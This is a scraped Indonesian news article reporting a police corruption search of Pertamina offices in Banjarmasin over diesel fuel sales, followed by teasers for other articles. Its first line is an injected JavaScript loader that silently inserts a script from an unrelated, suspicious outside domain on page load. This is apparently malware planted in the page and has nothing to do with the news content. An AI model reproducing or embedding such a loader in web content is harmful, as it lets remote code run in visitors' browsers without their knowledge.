(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Direktorat Tindak Pidana Korupsi (Dittipikor) Bareskrim Polri menggeledah kantor PT Pertamina (Persero) Marketing Operation Region VI Integrated Terminal Banjarmasin, Kalimantan Selatan.
Penggeledahan ini berkaitan dengan dugaan korupsi jual beli Bahan Bakar Minyak (BBM) solar non-tunai periode 2009-2012. Sejumlah barang terkait dugaan kasus korupsi BBM disita.
Direktur Tipikor Bareskrim Polri, Brigjen Pol Cahyono Wibowo menyebut penggeledahan dilakukan pada Rabu (7/12/2022) kemarin.
Penggeledahan juga dilakukan terhadap kantor Pertamina Patra Niaga Sales Area Kalselteng.
Baca juga : Bupati Lamandau Serahkan Bantuan Sosial Stimulan UEP dan BLT BBM
“Hasil yang telah diperoleh dari penggeledahan berupa 7 unit CPU, dokumen yang terkait dengan data transaksi pada sistem My SAP (dari server), dokumen yang terkait dengan pemesanan BBM PT AKT dan dokumen lainnya yang terkait dengan perkara,” kata Cahyono kepada wartawan, Kamis (8/12/2022), dikutip dari Suara.com –jaringan Kanalkalimantan.com.
Bareskrim Polri telah meningkatkan status penanganan kasus dugaan korupsi ini ke tahap penyidikan sejak Agustus 2022 berdasarkan hasil gelar perkara.
Brigjen Pol Cahyono menjelaskan serangkaian penggeledahan ini dilakukan untuk mendalami kasus dugaan korupsi BBM non tunai yang merugikan negara hingga Rp 451,66 miliar.
Perkara ini melibatkan PT Pertamina Patra Niaga (PPN) dan PT Asmin Koalindo Tuhup (AKT). Dalam penggeledahan tersebut, penyidik mencari barang bukti dan dokumen yang berkaitan dengan kegiatan transportir pengiriman BBM dari Depo BBM Kalimantan Selatan ke tambang PT Asmin Koalindo Tuhup (AKT) di Tuhup, Kalimantan Tengah.
Baca juga : Bisnis Pemalsuan Oli di Tanbu Dibongkar Polisi, Pelaku Praktek Oplos Oli Sudah 2 Tahun
“Dokumen-dokumen yang terkait dengan kegiatan pengaliran BBM dari kantor PT Pertamina,” katanya.
Penyidik menyita barang bukti elektronik yang berkaitan dengan pengaliran BBM dari kantor Pertamina di Banjarmasin kepada para transportir, baik yang menggunakan truk tangki maupun melalui jalur sungai.
Dalam pelaksanaannya, lanjut Brigjen Pol Cahyono, penggeledahan dilakukan dengan melibatkan Badan Pemeriksa Keuangan (BPK).
“Kegiatan penggeledahan yang dilakukan melibatkan Tim dari Dittipidsiber Bareskrim Polri dan tim PKN BPK RI, serta dari Ditreskrimsus Polda Kalsel dan Polsek setempat,” pungkasnya. (Suara.com)
Editor : kk
KANALKALIMANTAN.COM, AMUNTAI - Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Muhammad Zuhdianoor atau dikenal Abah Haji… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More
KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur meresmikan tiga kantor desa dan Taman Pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Jam pelayanan dan jam kerja di kantor pelayanan PT Air Minum (PTAM) Intan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wakil Wali Kota Banjarmasin, Hj Ananda mengimbau masyarakat untuk tidak panic buying… Read More
This website uses cookies.